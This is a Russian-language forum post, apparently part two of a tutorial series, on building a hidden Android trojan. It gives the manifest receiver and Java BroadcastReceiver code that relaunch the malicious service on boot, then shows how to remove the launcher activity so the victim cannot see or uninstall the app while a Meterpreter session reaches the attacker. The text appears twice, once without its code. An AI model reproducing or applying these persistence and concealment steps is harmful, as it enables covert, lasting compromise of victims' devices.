<~DarkNode~>
~^M1st3r_Bert0ni^~
- 19.10.2016
 
- 715
 
- 3 084
 
Сегодня продолжим собирать скрытый троян на Android.
Прежде чем приступить к прочтению данной статьи настоятельно рекомендую прочитать подготовительную статью о настройках payload и как собирать подписанное апк приложения в android studio из исходников.
Собираем скрытый троян на Andrroid(persistance) Часть I
Этап 1 (Создаем ресивер)
И так после того как мы научились с вами собирать нашего вредоноса,плавно перейдем к тому моменту,когда нужно что бы наш троян запускался после перезагрузки андроид устройства.
Первым делом добавим в AndroidManifest.xml ресивер который будет запускаться после удачного запуска устройства и запускать класс StartOnBoot,который мы допишем немножко позже.
Добавим следующие строки в AndroidManifest.xml после закрывающего тега </service>
	
	
	
	
		
		
		
	
	
		
	
Этап 2 ( Создаем класс StartOnBoot)
Дальше создаем класс StartOnBoot в нашем проекте который будет запускаться после запуска устройства.
Добавляем туда следующий контент:
	
	
	
	
		
		
	
		
	
Далее подписываем,собираем,тестируем.
Как видим после перезагрузки телефона,к нам прилетает сессия метерпретер.
Но приложения видно в списке приложений лаунчера. По этому если жертва что то заподозрит то она
его просто удалит и сессия закроется.Нам это же конечно не нужно и мы переходит к 3-му этапу.
Этап 3 ( Делаем приложения невидимым)
А делается это очень и очень просто.
Нам всего лишь нужно будет удалить активити в AndroidManifest.xml
Для этого просто удалим следующий контент из AndroidManifest.xml:
	
	
	
	
		
		
	
		
	
И собрать наш апк файл без активити.
		
	
Тестируем)
		
	
Как видим после перезапуска телефона к нам прилетела метерпретер сессия и приложения не видно в списке приложений лаунчера.
	
		
	
Всем спасибо за внимания.С вами был DarkNode) Надеюсь кому то понравилось
				
			Прежде чем приступить к прочтению данной статьи настоятельно рекомендую прочитать подготовительную статью о настройках payload и как собирать подписанное апк приложения в android studio из исходников.
Собираем скрытый троян на Andrroid(persistance) Часть I
Этап 1 (Создаем ресивер)
И так после того как мы научились с вами собирать нашего вредоноса,плавно перейдем к тому моменту,когда нужно что бы наш троян запускался после перезагрузки андроид устройства.
Первым делом добавим в AndroidManifest.xml ресивер который будет запускаться после удачного запуска устройства и запускать класс StartOnBoot,который мы допишем немножко позже.
Добавим следующие строки в AndroidManifest.xml после закрывающего тега </service>
		Код:
	
	<receiver android:name="com.darknode.darknode.StartOnBoot">
     android:label="Start On Boot">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED">
                </action>
            </intent-filter>
</receiver>
	
	Этап 2 ( Создаем класс StartOnBoot)
Дальше создаем класс StartOnBoot в нашем проекте который будет запускаться после запуска устройства.
Добавляем туда следующий контент:
		Код:
	
	package com.darknode.darknode;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
* Created by CorpOfHack on 20.11.2016.
*/
public class StartOnBoot extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if(Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
            Intent DarkNodeIntent = new Intent(context,MyIntentService.class);
            DarkNodeIntent.addFlags(intent.FLAG_ACTIVITY_NEW_TASK);
            context.startService(DarkNodeIntent);
        }
    }
}
	
	
	Далее подписываем,собираем,тестируем.
Как видим после перезагрузки телефона,к нам прилетает сессия метерпретер.
Но приложения видно в списке приложений лаунчера. По этому если жертва что то заподозрит то она
его просто удалит и сессия закроется.Нам это же конечно не нужно и мы переходит к 3-му этапу.
Этап 3 ( Делаем приложения невидимым)
А делается это очень и очень просто.
Нам всего лишь нужно будет удалить активити в AndroidManifest.xml
Для этого просто удалим следующий контент из AndroidManifest.xml:
		Код:
	
	<activity
        android:name="com.darknode.darknode.MainActivity"
        android:label="@string/app_name"
        android:theme="@android:style/Theme.NoDisplay" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
</activity>
	
	
	И собрать наш апк файл без активити.
	Тестируем)
	Как видим после перезапуска телефона к нам прилетела метерпретер сессия и приложения не видно в списке приложений лаунчера.
			
				Последнее редактирование: